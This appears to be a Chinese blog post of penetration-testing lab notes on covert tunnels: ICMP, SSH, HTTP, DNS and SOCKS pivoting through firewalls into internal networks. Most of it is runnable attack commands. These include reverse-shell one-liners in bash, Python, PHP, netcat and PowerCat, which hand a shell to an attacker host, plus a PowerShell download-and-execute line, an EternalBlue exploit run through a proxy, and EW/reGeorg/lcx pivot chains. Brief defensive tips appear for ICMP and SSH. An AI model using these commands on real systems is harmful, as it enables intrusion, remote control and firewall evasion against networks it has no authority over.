隐藏通信隧道技术

第三章 隐藏通信隧道技术

本文章参考以下博客
https://www.freebuf.com/articles/network/242015.html
https://www.freebuf.com/articles/network/242445.html

3.1 隐藏通信隧道基础知识

3.1.1 隐藏通信隧道概述

隧道指的是一种绕过端口屏蔽的通信方式,将数据包封装成防火墙允许通过的数据包类型,穿越防火墙,
到达目的后在进行解封装,发送到对应的服务器上。常用的隧道列举如下:
网络层:IPV6隧道,ICMP隧道,GRE隧道
传输层:TCP隧道,UDP隧道,常规端口转发
应用层:SSH隧道,HTTP隧道,HTTPS隧道,DNS隧道

3.1.2 判断内网的连通性

1.ICMP协议	直接ping目标主机即可
2.TCP协议		nc 目标主机+端口号
3.HTTP协议	curl 目标主机+端口号
4.DNS协议		nslookup 目标地址

3.2 网络层隧道技术

3.2.1 IPV6隧道

将IPV6报文封装在IPV4报文中进行数据传输,IPV6优势在于可以绕过FW,IDS等安全设备的检测。

3.2.2 ICMP隧道

将TCP/UDP的数据包封装到ICMP的ping数据包中,从而穿过防火墙,实现不受控制的访问
常用的ICMP隧道工具有icmpsh,PingTunnel,icmptunnel,powershell icmp等

1.icmpsh
2.PingTunnel

实验环境:

可参考以下博客
https://blog.csdn.net/weixin_41598660/article/details/106537762
一台win7	172.27.7.27
一台kali	172.27.7.33
kali需要安装下载一个icmpsh的工具
git clone https://github.com/inquisb/icmpsh.git
安装icmpsh的依赖包,python的一个库
apt-get install python-impacket
如果报错可以直接上传到kali解压
tar -zcvf impacket-0.9.11.tar.gz
解压完成后安装
python setup.py build
python setup.py install
执行之前最重要的一步是在你的kali机器上关闭ping回复。这样可以防止内核自己对ping包进行响应。
sysctl -w net.ipv4.icmp_echo_ignore_all=1	(改回来只要将1改为0即可)
win7也下载icmpsh这个工具
环境准备工作做好以后开始操作
root@kali:~/icmpsh# python icmpsh_m.py 172.27.7.33(攻击主机) 172.27.7.27(目标主机)
win7直接icmpsh.exe -t 攻击机ip
icmpsh.exe -t 172.27.7.33
执行完成后,kali可直接拿到win7的shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GFNhKh9o-1661848865770)(第三章 隐藏通信隧道技术.assets/image-20210512172726523.png)]

3.2.3 PingTunnel隧道

实验拓扑:
在这里插入图片描述

实验环境
在公网VPS和边界WEB服务器上安装PingTunnel工具
安装成功后,在边界WEB服务器上运行隧道工具
ptunnel -x shutter
在VPS服务器上开启监听
ptunnel -p 对端隧道IP -lp 1080 -da 对端隧道内网IP -dp 3389 -x shutter
ptunnel -p 172.27.7.39 -lp 1080 -da 192.168.1.34 -dp 3389 -x shutter
在公网开一台win7使用公网VPS的地址和1080端口远程桌面访问
用我的物理机访问VPS172.27.7.33的1080端口服务,是否能访问到win7的3389服务。
这样访问VPS的流量会被转发到内网WEB服务器上,再由WEB服务器作为跳板访问
内网某台服务器的远程桌面服务

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ngcNEVSH-1661848865772)(第三章 隐藏通信隧道技术.assets/image-20210512190338372.png)]

远程连接内网Linux服务器的22号端口
在VPS上输入如下命令:
ptunnel -p 172.27.7.39 -lp 1080 -da 192.168.1.36 -dp 22 -x shutter     
kali-web开启监听
ptunnel -x shutter

实验成功截图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WW0ztLoi-1661848865773)(第三章 隐藏通信隧道技术.assets/image-20210512192922919.png)]

3.2.4 如何防御ICMP攻击

1.利用抓包工具分析ICMP流量
2.检测同源ICMP数据包的数量
3.检测Payload大于64bit的ICMP数据包
4.检查ICMP的协议标签,带有TUNL的标记

3.3 传输层隧道技术

在渗透测试中,如果内网的防火墙阻止了对指定端口的访问,在获取了目标机器的权限后,
可以使用防火墙命令打开指定的端口或关闭防火墙。
如果内网中存在一系列防御系统,TCP、UDP 流量会被大量拦截。

3.3.1 lcx端口转发

lcx是一个很经典的端口转发工具,其基于Socket套接字,有Windows和Linux两个版本。
Windows的为lcx.exe,Linux的为portmap。
下载地址:https://github.com/MrAnonymous-1/lcx
一个正常的socket套接字必须具备两端:一端是服务器,监听一个端口,等待客户端连接;另一端为客户端,
通过给出服务器的IP和端口,与服务端建立连接。
内网端口转发:
实验环境
两台win主机
win7-2(受害机)			  192.168.1.13				
windows-7(攻击机)		  192.168.1.34		
在受害机(Windows)上面执行如下命令,将受害机3389端口的数据转发到攻击者公网VPS(Windows)
的8000端口上
 lcx.exe -slave <攻击者ip> 8000 127.0.0.1 3389
 lcx.exe -slave 192.168.1.34 8000 127.0.0.1 3389
 
 在攻击机上面执行如下命令,将本机8000端口上监听到的数据转发到本机的4444端口上面
 lcx.exe -listen 8000 4444

受害机:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GbbMZj4T-1661848865773)(第三章 隐藏通信隧道技术.assets/image-20210512203934042.png)]

攻击主机:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1JR2sbw0-1661848865774)(第三章 隐藏通信隧道技术.assets/image-20210512204015435.png)]

此时即可登录用远程桌面登录<攻击者本地ip>:4444,即可访问受害者的3389端口远程桌面了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oK4sEzJK-1661848865774)(第三章 隐藏通信隧道技术.assets/image-20210512204418743.png)]

3.3.2 netcat

nc:安全界的瑞士军刀
作用:
获取系统 banner 信息
传输文本信息
加密传输文件
端口扫描
远程控制 /正向反向shell


用法:
端口扫描
 nc -v 192.168.10.15 80
 nc -v -z 192.168.10.15 20-1024
端口监听
nc -l -p 9999
文件传输:将web服务器上的文件内容传输到VPS设备上
VPS开启监听等待连接,一旦连接建立,数据便会流入
 nc -lp 333 >1.txt
WEB服务器与VPS的333端口建立连接,传输一个文件
nc -vn 172.27.7.241(目标VPS的地址) 333 <2.txt -q 1
简易聊天
在本地VPS主机开启监听
nc -l -p 888
web服务器上开启监听
nc -vn 192.168.200.110(对端VPS的地址) 888

3.3.2 正向反向Shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WaGGNhjT-1661848865775)(第三章 隐藏通信隧道技术.assets/image-20210513152118921.png)]

如上图反向的shell,VPS成功拿到web服务器的shell
正向shell	客户端------>服务器
WEB服务器IP	172.27.7.45
VPS地址		 172.27.7.41
WEB服务器开启监听目标主机的4444端口IP
nc -lvp 4444 -e /bin/sh
VPS上连接目标主机的4444端口
nc 172.27.7.45 4444
此时VPS可以成功拿到web服务器的shell

nc64.exe -lvp 4444 -e cmd.exe
反向shell	服务器----->客户端
WEB服务器IP	172.27.7.45
VPS地址		 172.27.7.41
VPS上监听本地9999端口
nc -lvp 9999
web服务器连接VPS主机的4444端口
nc 172.27.7.41 9999 -e /bin/sh
此时VPS可以成功拿到web服务器的shell
利用Python获得反向shell
VPS开启监听本地2222端口
nc -lvp 2222
在目标主机上执行以下python代码即可成功拿到shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.27.7.41",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
执行成功后,VPS可成功拿到web服务器的shell

利用Bash反向shell
VPS开启监听本地4444端口
nc -lvp 4444
在目标主机上执行以下Bash脚本
bash -i >& /dev/tcp/172.27.7.41/4444 0>&1
VPS即可成功拿到WEB服务器的shell

利用PHP反向Shell
VPS本地监听2222端口
nc -lvp 2222
web服务器上执行如下PHP代码
php -r '$sock=fsockopen("172.27.7.41",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

利用Perl反向shell
python获取反向shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jJWI66k9-1661848865775)(第三章 隐藏通信隧道技术.assets/image-20210513153400735.png)]

Bash反向shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xBk0M3Ju-1661848865775)(第三章 隐藏通信隧道技术.assets/image-20210513153735619.png)]

PHP的反向shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vU3H4FVE-1661848865776)(第三章 隐藏通信隧道技术.assets/image-20210513153911036.png)]

5. 内网代理

在阿里云服务器上监听9999端口,
nc -lvp 9999
在内网的一台kali-VPS上监听9999端口
nc -lvp 9999 -e /bin/sh
最后在内网的kali-web上监听连接
nc -v 139.224.225.64 9999 -c "nc -v 172.27.7.41 9999"	
(阿里云服务器IP和内网数据库服务器IP)


实验环境为已经拿到边界WEB服务器的权限,但是VPS不能直接访问内网数据库服务器,
但是WEB服务器可以访问数据库服务器
VPS:172.25.6.40
FW:WAN:172.25.6.45	LAN:192.168.10.5
WEB服务器:WAN:172.25.6.19	LAN:192.168.10.17
数据库服务器:192.168.10.14

1.VPS上监听本地3333端口
nc -lvp 3333

2.在数据库服务器上监听3333端口
nc -lvp 3333 -e /bin/sh

3.最后在WEB服务器上监听连接
nc -v 172.25.6.40 3333 -c "nc -v 192.168.10.14 3333"
执行成功后,查看本机IP地址发现是内网数据库服务器的地址,由此VPS主机已经成功连接数据库服务器

3.3.3 PowerCat

PowerCat是nc的PowerShell版本,可以通过执行命令回到本地运行,也可以使用远程权限执行
1.下载PowerShell
github项目地址:https://github.com/besimorhino/powercat.git
下载完成后解压到本地。
进入到powercat文件目录下
要想在Powershell的命令环境中执行powercat.ps1脚本,必须先进行导入操作
直接导入可能会出错,默认Powershell不允许执行任何脚本,修改下配置
Get-ExecutionPolicy(查看默认配置)
Set-ExecutionPolicy Unrestricted(可执行任意脚本)
在执行导入操作
Import-Module .\powercat.ps1
输入powercat -h 出现提示符表示环境正常

搭建测试环境
外网VPS机器:	172.25.6.40
win7机器:WAN:	 172.25.6.20	LAN:192.168.10.15
域控服务器:192.168.10.11
3. nc正向连接Powercat(做不了)
win7主机上执行监听命令											-l	监听模式
powercat -l -p 8080 -e cmd.exe -v							  -p  指定监听端口
															  -e  指定要启动进程的名称
VPS主机上执行												   -v  显示详情
netcat 172.25.6.20(内网win7主机地址) 8080 -vv
此时VPS可以成功拿到win7主机的shell
4. 通过nc反向连接Powercat

实验环境:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HyYfQiBp-1661848865776)(第三章 隐藏通信隧道技术.assets/image-20210513173011581.png)]

此时阿里云服务器已经成功连接到内网的win7主机

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JROcuFwy-1661848865776)(第三章 隐藏通信隧道技术.assets/image-20210513172553849.png)]

在VPS上执行如下命令
netcat -l -p 8888 -vv

在win7中执行如下命令,-c参数表示提供想要连接的IP地址
执行前还是需要先导入powercat.ps1具体步骤如上
powercat -c 172.25.6.40 -p 8888 -v -e cmd.exe	(-c指的是外网VPS地址)
执行成功后,外网VPS即可拿到win7主机的shell
5. 通过Powercat返回Powershell
以上都是与nc进行交互,如果想返回Powershell,则无法与nc进行交互,接下来使win7主机
与域控建立正向连接

IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.5/powercat')

在域控服务器上先配置好powercat环境,步骤如上
配置完成后执行:
powercat -l -p 9999 -v

在win7主机上执行	
powercat -c 192.168.10.11 -p 9999 -v -ep(	-c域控服务器地址	)
执行完毕后可以在域控上拿到win7的shell
6. 通过Powercat传输文件
win7新建一个test.txt的文件
在域控服务器上执行以下代码
powercat -l -p 9999 -of test.txt -v
在win7中执行以下代码
powercat -c 192.168.10.11 -p 9999 -i C:\Windows\System32\cmd.exe\test.txt -v
(-c域控服务器地址)
7. 用Powercat生成Payload
用win7下面生成一个ps1文件并上传到域控服务器上

powercat -l -p 8000 -e cmd -v -g >> shell.ps1

域控将生成的ps1文件运行
win7执行以下代码,就可以获得一个反弹shell
powercat -c 192.168.10.22 -p 8000 -v	(-c域控服务器地址)

win7反弹powershell
powercat -l -p 8000 -ep -v -g >> shell.ps1

生成编码的Payload
powercat -c 192.168.10.22 -p 0000 -ep -ge	(-c域控服务器地址)
继续在win7上执行
powercat -l -p 9999 -v
8. PowerCat DNS隧道通信
Powercat也是基于DNS通信的协议
首先需要在kali中安装dnscat
具体安装步骤
1.下载压缩包并上传至kali
2.解压缩文件
unzip dnscat2-master.zip
cd /home/dnscat/dnscat2-master/server
gem install bundler
bundle install
ruby dnscat2.rb ttpowercat.test -e open --no-cache(安装dnscat2)
dnscat2>	成功运行的界面

win7执行如下命令
powercat -c 172.25.6.40 -p 53 -dns ttpowercat.test -e cmd.exe

执行成功后,dnscat2会出现windows会话,使用 session -i 会话ID 直接进入win7的shell
9. 将 Powercat作为跳板
环境:
win7可以访问两台服务器
VPS不能访问域控服务器

首先在域控服务器上执行
powercat -l -v -p 9999 -e cmd.exe

在win7上执行
powercat -l -v -p 8000 -r tcp:192.168.10.22:9999

最后在VPS上执行
nc 1752.25.5.132 8000 -vv
VPS成功拿到域控服务器shell

3.4 应用层隧道

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果
发现异样,就会对通信进行阻断。
那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙
所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,
将数据包还原,并将还原后的数据包发送到相应服务器上。

3.4.1 SSH协议

SSH隧道常用参数
-C	压缩传输
-f	将SSH传输转入后台,不占用当前shell
-N	建立静默连接
-g	允许远程主机连接本地用于转发的端口
-L	本地端口转发
-R	远程端口转发
-D	动态转发(SOCKS代理)
-P	指定SSH端口
3.4.1.1 本地转发
登录域控服务器	HACKER\Administrator
登录win10		 刘亚鹏	0315
本地端口映射:将本地客户端某个端口的流量转发到远程指定服务器的指定端口
本地端口转发:在本地客户机监听一个端口,所有访问这个端口的数据都会通过SSH隧道传输到远端
服务器的对应端口

实验环境:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qYs76DfZ-1661848865777)(第三章 隐藏通信隧道技术.assets/image-20210410103047537.png)]

1.修改SSH的配置文件(可以不用改,如果实验出现问题可尝试修改)
修改ssh服务器配置文件
/etc/ssh/sshd_config
– PermitRootLogin yes
– Port 22
– PasswordAuthentication yes
▪ service ssh restart

2.以WEB服务器为跳板,将域控服务器192.168.10.22的3389端口映射到VPS服务器的1153端口上,
再次访问VPS服务器的1153端口,就可以访问域控服务器的3389端口
在VPS上执行
ssh -CfNg -L 1153:192.168.10.22:3389 root@172.25.7.29
root@172.25.7.29	输入跳板机的密码

查看本地1153端口,可以看到1153端口已经开启侦听。
root@kali:~# netstat -anptl | grep 1153 
tcp        0      0 0.0.0.0:1153            0.0.0.0:*               LISTEN      2082/ssh            
tcp6       0      0 :::1153                 :::*                    LISTEN      2082/ssh

最后在本地VPS访问本地1153端口即可成功连接到域控服务器的3389端口
rdesktop 127.0.0.1:1153

实验成功截图:

在这里插入图片描述

3.4.1.2 远程转发
Linux添加默认路由
route add default gw 172.25.7.59
删除默认路由
route del -net 0.0.0.0 gw 172.25.7.59

实验环境:

在这里插入图片描述

其中VPS不能访问内网的三台服务器,WEB服务器可以访问VPS以及内网服务器,但是内网服务器不能访问
VPS,实验以WEB服务器为跳板,将VPS的3307端口的流量转发到域控服务器192.168.10.14的3389端口,
然后访问VPS的3307端口就可以成功访问内网域控服务器的3389端口
1.在WEB服务器上执行如下命令
ssh -CfNg -R 3307:192.168.10.14:3389 root@172.25.7.61
输入yes和VPS的密码
2.在VPS主机上访问本地3307端口
rdesktop 127.0.0.1:3307
可以成功远程连接到内网的域控服务器

实验成功截图:

在这里插入图片描述

远程端口转发:
在远程服务器上监听一个端口,所有访问远程服务器指定端口数据都会通过SSH隧道传输到本地的对应端口上
3.4.1.3 动态转发
前面介绍的端口转发类型都叫静态端口转发,所谓的 “静态” 是指应用程序服务器端的 IP 地址和监听的
端口是固定的。试想另外一类应用场景:设置浏览器通过端口转发访问不同网络中的网站。这类应用的
特点是目标服务器的 IP 和端口是未知的并且总是在变化,创建端口转发时不可能知道这些信息。只有
在发送 HTTP 请求时才能确定目标服务器的 IP 和端口。在这种场景下静态端口转发的方式是搞不定的,
因而需要一种专门的端口转发方式,即 “动态端口转发”。SSH 动态端口转发是通过 Socks 协议实现的,
创建动态端口转发时SSH 服务器就类似一个 Socks 代理服务器,所以这种转发方式也叫 Socks 转发

实验环境:

在这里插入图片描述

1.在VPS上执行如下命令,建立一个SOCKS 4/5代理通道输入WEB服务器的密码
ssh -CfNg -D 7000 root@172.25.7.29

打开本地浏览器设置代理,设置完成后直接访问内网win7的地址即可
查看本地SSH的进程
root@kali:~# netstat -tulnp |grep ":7000"
tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN      3698/ssh            
tcp6       0      0 :::7000                 :::*                    LISTEN      3698/ssh

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4xvwem4V-1661848865779)(第三章 隐藏通信隧道技术.assets/image-20210410150809244.png)]

实验成功截图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-T8snE4hs-1661848865779)(第三章 隐藏通信隧道技术.assets/image-20210410150844908.png)]

动态转发:
动态端口映射就是建立一个SSH加密的SOCKS 4/5代理通道,任何支持SOCKS 4/5的程序都可以使用
这个加密隧道进行代理访问。
此时,也可以使用metasploit挂socks代理扫描目标内网ms17-010

msfconsole 
辅助扫描模块
msf5 > setg proxies socks5:172.25.7.61:7000
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.10.11
msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

渗透攻击模块
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 > set rhost 192.168.190.136
msf5 > set lhost 192.168.174.130
msf5 > set lport 444
msf5 > set ReverseAllowProxy true
msf5 > exploit
可成功拿到内网win7系统权限的shell
防御SSH隧道攻击的思路
ssh隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置ssh远程管理白名单,
在ACL中限制只有特定的ip地址才能连接ssh,以及设置系统完全使用带外管理等方法,都可以避免这一
问题。如果没有足够的资源来建立带外管理的网络结构,在内网中至少要限制ssh远程登录的地址和双向
访问控制策略(从外部到内部、从内部到外部)。

3.4.2 HTTP/HTTPS协议

首先我们需要明白正向代理和反向代理的区别:
正向代理(Forward Proxy)

Lhost-->proxy-->Rhost
Lhost为了访问到Rhost,向proxy代理服务器发送了一个请求并且指定目标是Rhost,然后proxy向Rhost
转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost。

反向代理(reverse proxy)

Lhost<-->proxy<-->firewall<-->Rhost
和正向代理相反,Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的
数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透。

简单说就是正向代理是指攻击机主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主
动连接。我们平常使用的reDuh、tunna,和reGeorg一样,都是正向代理。一般都是用户上传一个代理
脚本到服务器端,本地的程序去连接服务器上的脚本,脚本程序做代理转发端口和流量。

测试环境如下:

reGeorg下载地址
https://github.com/sensepost/reGeorg.git
下载完成后继续安装如下依赖
wget https://pypi.python.org/packages/source/s/setuptools/setuptools-18.5.tar.gz
tar -xvf setuptools-18.5.tar.gz
python setup.py build
python setup.py install
将脚本上传至目标服务器,记录下脚本的url地址

VPS上执行如下命令
python reGeorgSocksProxy.py -u http://172.25.7.36/upload-labs/tunnel.nosocket.php -p 9999

查看本地的9999端口
查看监听的端口
netstat -ntlp
访问本地9999端口即可成功连接到目标服务器
配置代理软件,修改如下配置
vi /etc/proxychains.conf
dynamic_chain
将监听端口改为9999
然后可以直接通过代理软件连接或者进行3389端口暴力破解
proxychains rdesktop -g 1440x900 172.27.7.51:3389

3.4.3 DNS协议

DNS隧道工作原理:
将其他协议封装在DNS协议中进行传输
3.4.3.1 检查DNS的连通性
1.查询当前内部域名及IP地址
cat /etc/resolv.conf |grep -v '#'
nameserver 172.31.0.42
nameserver 58.242.2.2

2.解析内部域名
nslookup www.cua.edu.cn

3.解析外部域名
nslookup www.baidu.com
3.4.3.2 dnscat2
下载地址:
https://github.com/iagox86/dnscat2.git

3.5 SOCKS代理

3.5.1 常见的代理工具
1.EarthWorm(EW)
服务架设和端口转发两大功能
EW的新版本Termite
下载地址:https://github.com/rootkiter/Termite.git
2.ReGeorg
下载地址:https://github.com/sensepost/reGeorg.git
3.sSocks
4.SocksCap64
下载地址:http://www.sockscap64.com/
5.Proxifier
下载地址:https://www.proxifier.com/
6.ProxyChains
下载地址:
http://proxychains.sourceforge.net/
3.5.2 socks代理在网络环境应用
3.5.2.1 EW的使用
EW有六种命令格式,分别是ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。
ssocksd命令用于普通网络环境的正向连接,rcsocks和rssocks用于反弹连接,其他命令用于
复杂网络环境的多级级联

正向SOCKS 5服务器

实验环境:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2W9mrSyy-1661848865780)(第三章 隐藏通信隧道技术.assets/image-20210414155203469.png)]

测试环境:

测试环境:左侧有一个人计算机,为攻击者的计算机,位于攻击者的内网中,攻击者还有一台公网中的vps;
右侧是一个受害内网,有三台机器,我们已经控制的web服务器有两个网卡,是连接外网和内网的关键节点,
内网其他机器之间均不能直接连接
(1)正向 SOCKS 5 服务器
下载并安装EW
适用于目标机器拥有一个外网IP地址的情况下,如上图内网web服务器的模拟外网IP为172.27.7.76。
在web服务器上面上传对应的ew程序并执行:
ew_for_Win.exe -s ssocksd -l 888
在内网web服务器上架设了一个端口为888的socks代理服务,接下来设置proxychains或socksCap64指向
代理服务器172.27.7.76即可

配置代理服务器
vim /etc/proxychains.conf 
socks5 	172.27.7.76 888
设置完代理后直接远程连接内网Server2012的3389端口
proxychains rdesktop 192.168.10.16

实验成功截图:

在这里插入图片描述

(2) 反弹SOCKS 5服务器
正向 SOCKS 5 服务器适用于目标机器拥有一个外网IP地址的情况下,假设目标机器没有公网IP的情况下,
我们怎么访问内网的资源呢?

实验环境:

在这里插入图片描述

测试环境:

在这个测试环境中,与上一个相似,只是web服务器没有了公网IP,但能上网;VPS是真的公网vps了
在攻击者的VPS上上传ew_for_linux64并执行:
	
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
该命令的意思是在vps上添加一个转接隧道,监听1234,把本地1234端口收到的代理请求转交给1080端口,
这里1234端口只是用于传输流量。
接着
接着,在内网web服务器(192.168.10.15)上传ew_for_Win.exe,并执行命令
ew_for_Win.exe -s rssocks -d 172.27.7.79 -e 1234
该命令的意思是在受害者web服务器上启动SOCKS5服务,并反弹到公网IP地址为172.27.7.79的1234端口上
此时vps上面显示“rssocks cmd_socket OK!”说明连接成功


(1)接下来修改本地VPS的代理服务器设置监听本地1080端口
vim /etc/proxychains.conf 
socks5 127.0.0.1 1080
设置完成后直接访问内网的win7-2的3389端口

(2)另找一台VPS服务器设置本地VPS的代理IP及端口
vim /etc/proxychains.conf 
socks5 172.27.7.79 1080	
proxychains rdesktop 192.168.10.17

实验成功截图:

在这里插入图片描述

换用阿里云服务器做此实验

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bpwNwLtA-1661848865781)(第三章 隐藏通信隧道技术.assets/image-20210516150809062.png)]

(3) 二级网络环境(a)
适用于目标服务器拥有双网卡,内网卡只能连接内网的一台B主机,无法访问其他服务器,
但是B主机可以访问内网服务器

实验环境:

在这里插入图片描述

测试环境:

右侧内网A主机有两个网卡,一个连接外网(172.27.7.76),另一个只能连接内网的B主机,
但不能访问内网中的其他主机资源。B主机可以访问内网其他资源,但不能访问外网。假设我们
已经获得了A主机和B主机的控制权
1.
将ew上传至B主机上,并用ssocksd开启1234端口的正向socks代理:
ew_for_Win.exe -s ssocksd -l 1234

2.
将ew上传至A主机上,执行如下命令
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.10.34 -g 1234
该命令将A主机1080端口收到的代理请求转发给B主机(192.168.10.34)的1234端口

3.现在,我们就可以通过访问A主机的公网IP(172.27.7.76)的1080端口来使用架设在B主机上
的socks代理服务了。配置proxychains:
vim /etc/proxychains.conf 
socks5 172.27.7.76 1080	

在这里插入图片描述

4.
利用VPS远程连接到内网kali-web服务器的SSH服务
proxychains ssh root@192.168.10.10

实验成功截图:

在这里插入图片描述

(4) 二级网络环境(b)
已经获取A主机和B主机的权限,但是A主机既没有公网地址,也不能访问内网服务器,
B主机可访问内网资源,但是无法访问内网

实验环境:

在这里插入图片描述

1.
这里,我们不能像前一种情况那样通访问A主机来使用内网B主机上面架设的socks代理服务,可通过访问vps
来访问B主机上面架设的socks服务。

我们先在公网vps上传ew,在公网vps上面添加转接隧道,监听1080端口,并将1080端口收到的代理请求发送
给1234端口,执行命令:
./ew_for_linux -s lcx_listen -l 1080 -e 1234
该命令的意思是在vps上添加一个转接隧道,监听1234,把本地1234端口收到的代理请求转交给1080端口,
这里1234端口只是用于传输流量。

在这里插入图片描述

2.
然后将ew传至内网B(192.168.10.34)主机,利用ssocksd方式启动999端口的正向socks代理,执行命令

ew_for_win_32.exe -s ssocksd -l 999

在这里插入图片描述

3.
最后,将ew上传到内网A主机上,在A主机(192.168.10.15)上利用lcx_slave方式,将公网vps的1234
端口与内网B主机(192.168.10.34)的999端口连接起来,执行命令:

ew_for_win_32.exe -s lcx_slave -d 172.27.7.79 -e 1234 -f 192.168.10.34 -g 999
4.
在另一台的公网服务器上设置指向VPS服务器的代理
vim /etc/proxychains.conf 
socks5 172.27.7.79 1080	
设置完代理后试着访问内网Server2012的3389端口
proxychains rdesktop 192.168.10.16

在这里插入图片描述

实验成功截图:

在这里插入图片描述

利用阿里云服务器远程连接内网kali服务器

在这里插入图片描述

(5) 三级网络环境

待研究

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值